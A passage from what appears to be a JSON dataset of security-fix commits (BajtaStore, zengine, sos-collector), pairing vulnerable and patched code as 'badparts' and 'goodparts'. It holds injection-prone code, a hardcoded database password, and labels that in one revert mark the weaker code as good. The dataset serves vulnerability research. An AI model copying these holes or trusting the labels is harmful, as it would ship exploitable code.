FROM apps\")\n+\treturn s.execute(\"SELECT * FROM apps\").fetchall()\n \n def select_all_apps_from_user(user_id):\n-\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n+\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n \n def select_all_devices_from_user(user_id):\n-\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\n+\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file", "add": 9, "remove": 4, "filename": "/Server/model.py", "badparts": ["from mysql_commands import *", "\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")", "\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)", "\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)"], "goodparts": ["import sqlalchemy", "from sqlalchemy import text", "from sqlalchemy.orm import sessionmaker, scoped_session", "engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')", "Session = scoped_session(sessionmaker(bind=engine))", "\treturn s.execute(\"SELECT * FROM apps\").fetchall()", "\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)", "\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)"]}], "source": "\nfrom mysql_commands import * def select_all_apps(): \treturn select_row_from_mysql_command(\"SELECT * FROM apps\") def select_all_apps_from_user(user_id): \treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id=a.id WHERE ua.user_id=?\", user_id) def select_all_devices_from_user(user_id): \treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id) ", "sourceWithComments": "from mysql_commands import *\n\ndef select_all_apps():\n\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")\n\ndef select_all_apps_from_user(user_id):\n\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n\ndef select_all_devices_from_user(user_id):\n\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)"}, "/Server/mysql_commands.py": {"changes": [{"diff": "\n-import sqlalchemy\n-from sqlalchemy import text\n-from sqlalchemy.orm import sessionmaker, scoped_session\n-\n-engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n-Session = scoped_session(sessionmaker(bind=engine))\n-\n-s = Session()\n-\n-def select_row_from_mysql_command(command_str):\n- ''' function for selecting a specific row '''\n- ''' OUPUT: a list of elements in the selected row '''\n-\n- sql = text(str(command_str))\n- return s.execute(sql).fetchall()\n-\n-\n-def insert_into_mysql_command(command_str):\n- ''' the function inserts data depending from a command_str '''\n-\n- sql = text(str(command_str))\n- s.execute(sql)\n- s.commit()\n", "add": 0, "remove": 23, "filename": "/Server/mysql_commands.py", "badparts": ["import sqlalchemy", "from sqlalchemy import text", "from sqlalchemy.orm import sessionmaker, scoped_session", "engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')", "Session = scoped_session(sessionmaker(bind=engine))", "s = Session()", "def select_row_from_mysql_command(command_str):", " ''' function for selecting a specific row '''", " ''' OUPUT: a list of elements in the selected row '''", " sql = text(str(command_str))", " return s.execute(sql).fetchall()", "def insert_into_mysql_command(command_str):", " ''' the function inserts data depending from a command_str '''", " sql = text(str(command_str))", " s.execute(sql)", " s.commit()"], "goodparts": []}], "source": "\nimport sqlalchemy from sqlalchemy import text from sqlalchemy.orm import sessionmaker, scoped_session engine=sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb') Session=scoped_session(sessionmaker(bind=engine)) s=Session() def select_row_from_mysql_command(command_str): ''' function for selecting a specific row ''' ''' OUPUT: a list of elements in the selected row ''' sql=text(str(command_str)) return s.execute(sql).fetchall() def insert_into_mysql_command(command_str): ''' the function inserts data depending from a command_str ''' sql=text(str(command_str)) s.execute(sql) s.commit() ", "sourceWithComments": "import sqlalchemy\nfrom sqlalchemy import text\nfrom sqlalchemy.orm import sessionmaker, scoped_session\n\nengine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\nSession = scoped_session(sessionmaker(bind=engine))\n\ns = Session()\n\ndef select_row_from_mysql_command(command_str):\n ''' function for selecting a specific row '''\n ''' OUPUT: a list of elements in the selected row '''\n\n sql = text(str(command_str))\n return s.execute(sql).fetchall()\n\n\ndef insert_into_mysql_command(command_str):\n ''' the function inserts data depending from a command_str '''\n\n sql = text(str(command_str))\n s.execute(sql)\n s.commit()\n"}}, "msg": "removed extra wrapper class for sql commands, because hard to pass params to prevent sql injection"}, "8076b9475ed007a4d0e5d10c9b6938f72f5d35a5": {"url": "https://api.github.com/repos/blaz1/BajtaStore/commits/8076b9475ed007a4d0e5d10c9b6938f72f5d35a5", "html_url": "https://github.com/blaz1/BajtaStore/commit/8076b9475ed007a4d0e5d10c9b6938f72f5d35a5", "sha": "8076b9475ed007a4d0e5d10c9b6938f72f5d35a5", "keyword": "command injection prevent", "diff": "diff --git a/Server/model.py b/Server/model.py\nindex 029c333..cd8b4e4 100644\n--- a/Server/model.py\n+++ b/Server/model.py\n@@ -1,15 +1,10 @@\n-import sqlalchemy\n-from sqlalchemy import text\n-from sqlalchemy.orm import sessionmaker, scoped_session\n-\n-engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n-Session = scoped_session(sessionmaker(bind=engine))\n+from mysql_commands import *\n \n def select_all_apps():\n-\treturn s.execute(\"SELECT * FROM apps\").fetchall()\n+\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")\n \n def select_all_apps_from_user(user_id):\n-\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n+\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n \n def select_all_devices_from_user(user_id):\n-\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\n+\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\ndiff --git a/Server/mysql_commands.py b/Server/mysql_commands.py\nnew file mode 100644\nindex 0000000..6c391b8\n--- /dev/null\n+++ b/Server/mysql_commands.py\n@@ -0,0 +1,23 @@\n+import sqlalchemy\n+from sqlalchemy import text\n+from sqlalchemy.orm import sessionmaker, scoped_session\n+\n+engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n+Session = scoped_session(sessionmaker(bind=engine))\n+\n+s = Session()\n+\n+def select_row_from_mysql_command(command_str):\n+ ''' function for selecting a specific row '''\n+ ''' OUPUT: a list of elements in the selected row '''\n+\n+ sql = text(str(command_str))\n+ return s.execute(sql).fetchall()\n+\n+\n+def insert_into_mysql_command(command_str):\n+ ''' the function inserts data depending from a command_str '''\n+\n+ sql = text(str(command_str))\n+ s.execute(sql)\n+ s.commit()\n", "message": "", "files": {"/Server/model.py": {"changes": [{"diff": "\n-import sqlalchemy\n-from sqlalchemy import text\n-from sqlalchemy.orm import sessionmaker, scoped_session\n-\n-engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\n-Session = scoped_session(sessionmaker(bind=engine))\n+from mysql_commands import *\n \n def select_all_apps():\n-\treturn s.execute(\"SELECT * FROM apps\").fetchall()\n+\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")\n \n def select_all_apps_from_user(user_id):\n-\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n+\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n \n def select_all_devices_from_user(user_id):\n-\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file\n+\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)\n\\ No newline at end of file", "add": 4, "remove": 9, "filename": "/Server/model.py", "badparts": ["import sqlalchemy", "from sqlalchemy import text", "from sqlalchemy.orm import sessionmaker, scoped_session", "engine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')", "Session = scoped_session(sessionmaker(bind=engine))", "\treturn s.execute(\"SELECT * FROM apps\").fetchall()", "\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)", "\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)"], "goodparts": ["from mysql_commands import *", "\treturn select_row_from_mysql_command(\"SELECT * FROM apps\")", "\treturn select_row_from_mysql_command(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)", "\treturn select_row_from_mysql_command(\"SELECT * FROM devices WHERE user_id=?\", user_id)"]}], "source": "\nimport sqlalchemy from sqlalchemy import text from sqlalchemy.orm import sessionmaker, scoped_session engine=sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb') Session=scoped_session(sessionmaker(bind=engine)) def select_all_apps(): \treturn s.execute(\"SELECT * FROM apps\").fetchall() def select_all_apps_from_user(user_id): \treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id=a.id WHERE ua.user_id=?\", user_id) def select_all_devices_from_user(user_id): \treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id) ", "sourceWithComments": "import sqlalchemy\nfrom sqlalchemy import text\nfrom sqlalchemy.orm import sessionmaker, scoped_session\n\nengine = sqlalchemy.create_engine('mysql+pymysql://root:bajtastore@127.0.0.1/mydb')\nSession = scoped_session(sessionmaker(bind=engine))\n\ndef select_all_apps():\n\treturn s.execute(\"SELECT * FROM apps\").fetchall()\n\ndef select_all_apps_from_user(user_id):\n\treturn s.execute(\"SELECT * FROM apps a LEFT JOIN users_apps ua ON ua.app_id = a.id WHERE ua.user_id=?\", user_id)\n\ndef select_all_devices_from_user(user_id):\n\treturn s.execute(\"SELECT * FROM devices WHERE user_id=?\", user_id)"}}, "msg": "Revert \"removed extra wrapper class for sql commands, because hard to pass params to prevent sql injection\"\n\nThis reverts commit 5a27336fbe3c220455a015f1bdc2621621f4bf40."}}, "https://github.com/zetaops/zengine": {"52eafbee90f8ddf78be0c7452828d49423246851": {"url": "https://api.github.com/repos/zetaops/zengine/commits/52eafbee90f8ddf78be0c7452828d49423246851", "html_url": "https://github.com/zetaops/zengine/commit/52eafbee90f8ddf78be0c7452828d49423246851", "message": "to prevent external command injections, added \"source\" header check for background job executions.", "sha": "52eafbee90f8ddf78be0c7452828d49423246851", "keyword": "command injection prevent", "diff": "diff --git a/zengine/wf_daemon.py b/zengine/wf_daemon.py\nindex 67e320e5..32b355cb 100755\n--- a/zengine/wf_daemon.py\n+++ b/zengine/wf_daemon.py\n@@ -18,7 +18,7 @@\n from zengine.engine import ZEngine\n from zengine.current import Current\n from zengine.lib.cache import Session, KeepAlive\n-from zengine.lib.exceptions import HTTPError\n+from zengine.lib.exceptions import HTTPError, SecurityInfringementAttempt\n from zengine.log import log\n import sys\n # receivers should be imported at right time, right place\n@@ -31,6 +31,8 @@\n wf_engine = ZEngine()\n \n LOGIN_REQUIRED_MESSAGE = {'error': \"Login required\", \"code\": 401}\n+\n+\n class Worker(object):\n \"\"\"\n Workflow runner worker object\n@@ -101,6 +103,10 @@ def _handle_ping_pong(self, data, session):\n return msg\n \n def _handle_job(self, session, data, headers):\n+ # security check for preventing external job execution attempts\n+ if headers['source'] != 'Internal':\n+ raise SecurityInfringementAttempt(\n+ \"Someone ({user}) from {ip} tried to inject a job {job}\".format(user=session['user_id'], ip=headers['remote_ip'], job=data['job']))\n self.current = Current(session=session, input=data)\n self.current.headers = headers\n # import method\n@@ -108,7 +114,6 @@ def _handle_job(self, session, data, headers):\n # call view with current object\n method(self.current)\n \n-\n def _handle_view(self, session, data, headers):\n # create Current object\n self.current = Current(session=session, input=data)\n@@ -153,6 +158,7 @@ def handle_message(self, ch, method, properties, body):\n body: message body\n \"\"\"\n input = {}\n+ headers = {}\n try:\n self.sessid = method.routing_key\n \n@@ -160,7 +166,7 @@ def handle_message(self, ch, method, properties, body):\n data = input['data']\n \n # since this comes as \"path\" we dont know if it's view or workflow yet\n- #TODO: just a workaround till we modify ui to\n+ # TODO: just a workaround till we modify ui to\n if 'path' in data:\n if data['path'] in settings.VIEW_URLS:\n data['view'] = data['path']\n@@ -168,7 +174,8 @@ def handle_message(self, ch, method, properties, body):\n data['wf'] = data['path']\n session = Session(self.sessid)\n \n- headers = {'remote_ip': input['_zops_remote_ip']}\n+ headers = {'remote_ip': input['_zops_remote_ip'],\n+ 'source': input['_zops_source']}\n \n if 'wf' in data:\n output = self._handle_workflow(session, data, headers)\n@@ -220,7 +227,6 @@ def run_workers(no_subprocess, watch_paths=None, is_background=False):\n # from watchdog.observers.polling import PollingObserver as Observer\n from watchdog.events import FileSystemEventHandler\n \n-\n def on_modified(event):\n if not is_background:\n print(\"Restarting worker due to change in %s\" % event.src_path)\n", "files": {"/zengine/wf_daemon.py": {"changes": [{"diff": "\n from zengine.engine import ZEngine\n from zengine.current import Current\n from zengine.lib.cache import Session, KeepAlive\n-from zengine.lib.exceptions import HTTPError\n+from zengine.lib.exceptions import HTTPError, SecurityInfringementAttempt\n from zengine.log import log\n import sys\n # receivers should be imported at right time, right place\n", "add": 1, "remove": 1, "filename": "/zengine/wf_daemon.py", "badparts": ["from zengine.lib.exceptions import HTTPError"], "goodparts": ["from zengine.lib.exceptions import HTTPError, SecurityInfringementAttempt"]}, {"diff": "\n data['wf'] = data['path']\n session = Session(self.sessid)\n \n- headers = {'remote_ip': input['_zops_remote_ip']}\n+ headers = {'remote_ip': input['_zops_remote_ip'],\n+ 'source': input['_zops_source']}\n \n if 'wf' in data:\n output = self._handle_workflow(session, data, headers)\n", "add": 2, "remove": 1, "filename": "/zengine/wf_daemon.py", "badparts": [" headers = {'remote_ip': input['_zops_remote_ip']}"], "goodparts": [" headers = {'remote_ip': input['_zops_remote_ip'],", " 'source': input['_zops_source']}"]}], "source": "\n \"\"\" workflow worker daemon \"\"\" import json import traceback from pprint import pformat import signal from time import sleep, time import pika from tornado.escape import json_decode from pyoko.conf import settings from pyoko.lib.utils import get_object_from_path from zengine.client_queue import ClientQueue, BLOCKING_MQ_PARAMS from zengine.engine import ZEngine from zengine.current import Current from zengine.lib.cache import Session, KeepAlive from zengine.lib.exceptions import HTTPError from zengine.log import log import sys from zengine.receivers import * sys._zops_wf_state_log='' wf_engine=ZEngine() LOGIN_REQUIRED_MESSAGE={'error': \"Login required\", \"code\": 401} class Worker(object): \"\"\" Workflow runner worker object \"\"\" INPUT_QUEUE_NAME='in_queue' INPUT_EXCHANGE='input_exc' def __init__(self): self.connect() signal.signal(signal.SIGTERM, self.exit) log.info(\"Worker starting\") def exit(self, signal=None, frame=None): \"\"\" Properly close the AMQP connections \"\"\" self.input_channel.close() self.client_queue.close() self.connection.close() log.info(\"Worker exiting\") sys.exit(0) def connect(self): \"\"\" make amqp connection and create channels and queue binding \"\"\" self.connection=pika.BlockingConnection(BLOCKING_MQ_PARAMS) self.client_queue=ClientQueue() self.input_channel=self.connection.channel() self.input_channel.exchange_declare(exchange=self.INPUT_EXCHANGE, type='topic', durable=True) self.input_channel.queue_declare(queue=self.INPUT_QUEUE_NAME) self.input_channel.queue_bind(exchange=self.INPUT_EXCHANGE, queue=self.INPUT_QUEUE_NAME) log.info(\"Bind to queue named '%s' queue with exchange '%s'\" %(self.INPUT_QUEUE_NAME, self.INPUT_EXCHANGE)) def run(self): \"\"\" actual consuming of incoming works starts here \"\"\" self.input_channel.basic_consume(self.handle_message, queue=self.INPUT_QUEUE_NAME, no_ack=True) try: self.input_channel.start_consuming() except(KeyboardInterrupt, SystemExit): log.info(\" Exiting\") self.exit() def _prepare_error_msg(self, msg): try: return \\ msg +'\\n\\n' +\\ \"INPUT DATA: %s\\n\\n\" % pformat(self.current.input) +\\ \"OUTPUT DATA: %s\\n\\n\" % pformat(self.current.output) +\\ sys._zops_wf_state_log except: return msg def _handle_ping_pong(self, data, session): still_alive=KeepAlive(sess_id=session.sess_id).update_or_expire_session() msg={'msg': 'pong'} if not still_alive: msg.update(LOGIN_REQUIRED_MESSAGE) return msg def _handle_job(self, session, data, headers): self.current=Current(session=session, input=data) self.current.headers=headers method=get_object_from_path(settings.BG_JOBS[data['job']]) method(self.current) def _handle_view(self, session, data, headers): self.current=Current(session=session, input=data) self.current.headers=headers if data['view']=='ping': return self._handle_ping_pong(data, session) if not(self.current.is_auth or data['view'] in settings.ANONYMOUS_WORKFLOWS): return LOGIN_REQUIRED_MESSAGE view=get_object_from_path(settings.VIEW_URLS[data['view']]) view(self.current) return self.current.output def _handle_workflow(self, session, data, headers): wf_engine.start_engine(session=session, input=data, workflow_name=data['wf']) wf_engine.current.headers=headers self.current=wf_engine.current wf_engine.run() return wf_engine.current.output def handle_message(self, ch, method, properties, body): \"\"\" this is a pika.basic_consumer callback handles client inputs, runs appropriate workflows and views Args: ch: amqp channel method: amqp method properties: body: message body \"\"\" input={} try: self.sessid=method.routing_key input=json_decode(body) data=input['data'] if 'path' in data: if data['path'] in settings.VIEW_URLS: data['view']=data['path'] else: data['wf']=data['path'] session=Session(self.sessid) headers={'remote_ip': input['_zops_remote_ip']} if 'wf' in data: output=self._handle_workflow(session, data, headers) elif 'job' in data: self._handle_job(session, data, headers) return else: output=self._handle_view(session, data, headers) except HTTPError as e: import sys if hasattr(sys, '_called_from_test'): raise output={'cmd': 'error', 'error': self._prepare_error_msg(e.message), \"code\": e.code} log.exception(\"Http error occurred\") except: self.current=Current(session=session, input=data) self.current.headers=headers import sys if hasattr(sys, '_called_from_test'): raise err=traceback.format_exc() output={'error': self._prepare_error_msg(err), \"code\": 500} log.exception(\"Worker error occurred with messsage body:\\n%s\" % body) if 'callbackID' in input: output['callbackID']=input['callbackID'] log.info(\"OUTPUT for %s: %s\" %(self.sessid, output)) output['reply_timestamp']=time() self.send_output(output) def send_output(self, output): if self.current.user_id is None or 'login_process' in output: self.client_queue.send_to_default_exchange(self.sessid, output) else: self.client_queue.send_to_prv_exchange(self.current.user_id, output) def run_workers(no_subprocess, watch_paths=None, is_background=False): \"\"\" subprocess handler \"\"\" import atexit, os, subprocess, signal if watch_paths: from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler def on_modified(event): if not is_background: print(\"Restarting worker due to change in %s\" % event.src_path) log.info(\"modified %s\" % event.src_path) try: kill_children() run_children() except: log.exception(\"Error while restarting worker\") handler=FileSystemEventHandler() handler.on_modified=on_modified child_pids=[] log.info(\"starting %s workers\" % no_subprocess) def run_children(): global child_pids child_pids=[] for i in range(int(no_subprocess)): proc=subprocess.Popen([sys.executable, __file__], stdout=subprocess.PIPE, stderr=subprocess.PIPE) child_pids.append(proc.pid) log.info(\"Started worker with pid %s\" % proc.pid) def kill_children(): \"\"\" kill subprocess on exit of manager(this) process \"\"\" log.info(\"Stopping worker(s)\") for pid in child_pids: if pid is not None: os.kill(pid, signal.SIGTERM) run_children() atexit.register(kill_children) signal.signal(signal.SIGTERM, kill_children) if watch_paths: observer=Observer() for path in watch_paths: if not is_background: print(\"Watching for changes under %s\" % path) observer.schedule(handler, path=path, recursive=True) observer.start() while 1: try: sleep(1) except KeyboardInterrupt: log.info(\"Keyboard interrupt, exiting\") if watch_paths: observer.stop() observer.join() sys.exit(0) if __name__=='__main__': if 'manage' in str(sys.argv): no_subprocess=[arg.split('manage=')[-1] for arg in sys.argv if 'manage' in arg][0] run_workers(no_subprocess) else: worker=Worker() worker.run() ", "sourceWithComments": "#!/usr/bin/env python\n\"\"\"\nworkflow worker daemon\n\"\"\"\nimport json\nimport traceback\nfrom pprint import pformat\n\nimport signal\nfrom time import sleep, time\n\nimport pika\nfrom tornado.escape import json_decode\n\nfrom pyoko.conf import settings\nfrom pyoko.lib.utils import get_object_from_path\nfrom zengine.client_queue import ClientQueue, BLOCKING_MQ_PARAMS\nfrom zengine.engine import ZEngine\nfrom zengine.current import Current\nfrom zengine.lib.cache import Session, KeepAlive\nfrom zengine.lib.exceptions import HTTPError\nfrom zengine.log import log\nimport sys\n# receivers should be imported at right time, right place\n# they will not registered if not placed in a central location\n# but they can cause \"cannot import settings\" errors if imported too early\nfrom zengine.receivers import *\n\nsys._zops_wf_state_log = ''\n\nwf_engine = ZEngine()\n\nLOGIN_REQUIRED_MESSAGE = {'error': \"Login required\", \"code\": 401}\nclass Worker(object):\n \"\"\"\n Workflow runner worker object\n \"\"\"\n INPUT_QUEUE_NAME = 'in_queue'\n INPUT_EXCHANGE = 'input_exc'\n\n def __init__(self):\n self.connect()\n signal.signal(signal.SIGTERM, self.exit)\n log.info(\"Worker starting\")\n\n def exit(self, signal=None, frame=None):\n \"\"\"\n Properly close the AMQP connections\n \"\"\"\n self.input_channel.close()\n self.client_queue.close()\n self.connection.close()\n log.info(\"Worker exiting\")\n sys.exit(0)\n\n def connect(self):\n \"\"\"\n make amqp connection and create channels and queue binding\n \"\"\"\n self.connection = pika.BlockingConnection(BLOCKING_MQ_PARAMS)\n self.client_queue = ClientQueue()\n self.input_channel = self.connection.channel()\n\n self.input_channel.exchange_declare(exchange=self.INPUT_EXCHANGE,\n type='topic',\n durable=True)\n self.input_channel.queue_declare(queue=self.INPUT_QUEUE_NAME)\n self.input_channel.queue_bind(exchange=self.INPUT_EXCHANGE, queue=self.INPUT_QUEUE_NAME)\n log.info(\"Bind to queue named '%s' queue with exchange '%s'\" % (self.INPUT_QUEUE_NAME,\n self.INPUT_EXCHANGE))\n\n def run(self):\n \"\"\"\n actual consuming of incoming works starts here\n \"\"\"\n self.input_channel.basic_consume(self.handle_message,\n queue=self.INPUT_QUEUE_NAME,\n no_ack=True)\n try:\n self.input_channel.start_consuming()\n except (KeyboardInterrupt, SystemExit):\n log.info(\" Exiting\")\n self.exit()\n\n def _prepare_error_msg(self, msg):\n try:\n return \\\n msg + '\\n\\n' + \\\n \"INPUT DATA: %s\\n\\n\" % pformat(self.current.input) + \\\n \"OUTPUT DATA: %s\\n\\n\" % pformat(self.current.output) + \\\n sys._zops_wf_state_log\n except:\n return msg\n\n def _handle_ping_pong(self, data, session):\n\n still_alive = KeepAlive(sess_id=session.sess_id).update_or_expire_session()\n msg = {'msg': 'pong'}\n if not still_alive:\n msg.update(LOGIN_REQUIRED_MESSAGE)\n return msg\n\n def _handle_job(self, session, data, headers):\n self.current = Current(session=session, input=data)\n self.current.headers = headers\n # import method\n method = get_object_from_path(settings.BG_JOBS[data['job']])\n # call view with current object\n method(self.current)\n\n\n def _handle_view(self, session, data, headers):\n # create Current object\n self.current = Current(session=session, input=data)\n self.current.headers = headers\n\n # handle ping/pong/session expiration\n if data['view'] == 'ping':\n return self._handle_ping_pong(data, session)\n\n # handle authentication\n if not (self.current.is_auth or data['view'] in settings.ANONYMOUS_WORKFLOWS):\n return LOGIN_REQUIRED_MESSAGE\n\n # import view\n view = get_object_from_path(settings.VIEW_URLS[data['view']])\n\n # call view with current object\n view(self.current)\n\n # return output\n return self.current.output\n\n def _handle_workflow(self, session, data, headers):\n wf_engine.start_engine(session=session, input=data, workflow_name=data['wf'])\n wf_engine.current.headers = headers\n self.current = wf_engine.current\n wf_engine.run()\n # if self.connection.is_closed:\n # log.info(\"Connection is closed, re-opening...\")\n # self.connect()\n return wf_engine.current.output\n\n def handle_message(self, ch, method, properties, body):\n \"\"\"\n this is a pika.basic_consumer callback\n handles client inputs, runs appropriate workflows and views\n\n Args:\n ch: amqp channel\n method: amqp method\n properties:\n body: message body\n \"\"\"\n input = {}\n try:\n self.sessid = method.routing_key\n\n input = json_decode(body)\n data = input['data']\n\n # since this comes as \"path\" we dont know if it's view or workflow yet\n #TODO: just a workaround till we modify ui to\n if 'path' in data:\n if data['path'] in settings.VIEW_URLS:\n data['view'] = data['path']\n else:\n data['wf'] = data['path']\n session = Session(self.sessid)\n\n headers = {'remote_ip': input['_zops_remote_ip']}\n\n if 'wf' in data:\n output = self._handle_workflow(session, data, headers)\n elif 'job' in data:\n\n self._handle_job(session, data, headers)\n return\n else:\n output = self._handle_view(session, data, headers)\n\n except HTTPError as e:\n import sys\n if hasattr(sys, '_called_from_test'):\n raise\n output = {'cmd': 'error', 'error': self._prepare_error_msg(e.message), \"code\": e.code}\n log.exception(\"Http error occurred\")\n except:\n self.current = Current(session=session, input=data)\n self.current.headers = headers\n import sys\n if hasattr(sys, '_called_from_test'):\n raise\n err = traceback.format_exc()\n output = {'error': self._prepare_error_msg(err), \"code\": 500}\n log.exception(\"Worker error occurred with messsage body:\\n%s\" % body)\n if 'callbackID' in input:\n output['callbackID'] = input['callbackID']\n log.info(\"OUTPUT for %s: %s\" % (self.sessid, output))\n output['reply_timestamp'] = time()\n self.send_output(output)\n\n def send_output(self, output):\n # TODO: This is ugly, we should separate login process\n # log.debug(\"SEND_OUTPUT: %s\" % output)\n if self.current.user_id is None or 'login_process' in output:\n self.client_queue.send_to_default_exchange(self.sessid, output)\n else:\n self.client_queue.send_to_prv_exchange(self.current.user_id, output)\n\n\ndef run_workers(no_subprocess, watch_paths=None, is_background=False):\n \"\"\"\n subprocess handler\n \"\"\"\n import atexit, os, subprocess, signal\n if watch_paths:\n from watchdog.observers import Observer\n # from watchdog.observers.fsevents import FSEventsObserver as Observer\n # from watchdog.observers.polling import PollingObserver as Observer\n from watchdog.events import FileSystemEventHandler\n\n\n def on_modified(event):\n if not is_background:\n print(\"Restarting worker due to change in %s\" % event.src_path)\n log.info(\"modified %s\" % event.src_path)\n try:\n kill_children()\n run_children()\n except:\n log.exception(\"Error while restarting worker\")\n\n handler = FileSystemEventHandler()\n handler.on_modified = on_modified\n\n # global child_pids\n child_pids = []\n log.info(\"starting %s workers\" % no_subprocess)\n\n def run_children():\n global child_pids\n child_pids = []\n for i in range(int(no_subprocess)):\n proc = subprocess.Popen([sys.executable, __file__],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n child_pids.append(proc.pid)\n log.info(\"Started worker with pid %s\" % proc.pid)\n\n def kill_children():\n \"\"\"\n kill subprocess on exit of manager (this) process\n \"\"\"\n log.info(\"Stopping worker(s)\")\n for pid in child_pids:\n if pid is not None:\n os.kill(pid, signal.SIGTERM)\n\n run_children()\n atexit.register(kill_children)\n signal.signal(signal.SIGTERM, kill_children)\n if watch_paths:\n observer = Observer()\n for path in watch_paths:\n if not is_background:\n print(\"Watching for changes under %s\" % path)\n observer.schedule(handler, path=path, recursive=True)\n observer.start()\n while 1:\n try:\n sleep(1)\n except KeyboardInterrupt:\n log.info(\"Keyboard interrupt, exiting\")\n if watch_paths:\n observer.stop()\n observer.join()\n sys.exit(0)\n\n\nif __name__ == '__main__':\n if 'manage' in str(sys.argv):\n no_subprocess = [arg.split('manage=')[-1] for arg in sys.argv if 'manage' in arg][0]\n run_workers(no_subprocess)\n else:\n worker = Worker()\n worker.run()\n"}}, "msg": "to prevent external command injections, added \"source\" header check for background job executions."}}, "https://github.com/sosreport/sos-collector": {"c09e36927f74f955a325381a7d611ea270d04b65": {"url": "https://api.github.com/repos/sosreport/sos-collector/commits/c09e36927f74f955a325381a7d611ea270d04b65", "html_url": "https://github.com/sosreport/sos-collector/commit/c09e36927f74f955a325381a7d611ea270d04b65", "message": "[global] Quote options locally everywhere\n\nAn earlier commit passed cluster option values through pipes.quote() in\nan effort to prevent command injection on the remote nodes, however this\ndid not capture every avenue through which a maliciously designed option\nvalue or sos command could take.\n\nNow, quote the option values at the time of use, and also quote any sos\noption that isn't an on/off toggle.\n\nAdditionally, re-work how the ovirt/rhv database query is quoted and\nfilter out cluster/datacenter values that are likely to contain SQL\ncode, since we cannot rely on the driver to do this since we don't have\nan actual connection to the database.\n\nOriginal discovery of issues and patch work thanks to Riccardo Schirone.\n\nSigned-off-by: Jake Hunsaker ", "sha": "c09e36927f74f955a325381a7d611ea270d04b65", "keyword": "command injection prevent", "diff": "diff --git a/soscollector/clusters/kubernetes.py b/soscollector/clusters/kubernetes.py\nindex 6c519f3..c5c2094 100644\n--- a/soscollector/clusters/kubernetes.py\n+++ b/soscollector/clusters/kubernetes.py\n@@ -13,6 +13,7 @@\n # with this program; if not, write to the Free Software Foundation, Inc.,\n # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n \n+from pipes import quote\n from soscollector.clusters import Cluster\n \n \n@@ -32,7 +33,7 @@ class kubernetes(Cluster):\n def get_nodes(self):\n self.cmd += ' get nodes'\n if self.get_option('label'):\n- self.cmd += ' -l %s ' % self.get_option('label')\n+ self.cmd += ' -l %s ' % quote(self.get_option('label'))\n res = self.exec_master_cmd(self.cmd)\n if res['status'] == 0:\n nodes = []\ndiff --git a/soscollector/clusters/ovirt.py b/soscollector/clusters/ovirt.py\nindex 1c44c97..0a074ca 100644\n--- a/soscollector/clusters/ovirt.py\n+++ b/soscollector/clusters/ovirt.py\n@@ -16,6 +16,7 @@\n import os\n import fnmatch\n \n+from pipes import quote\n from soscollector.clusters import Cluster\n from getpass import getpass\n \n@@ -31,6 +32,22 @@ class ovirt(Cluster):\n ('no-hypervisors', False, 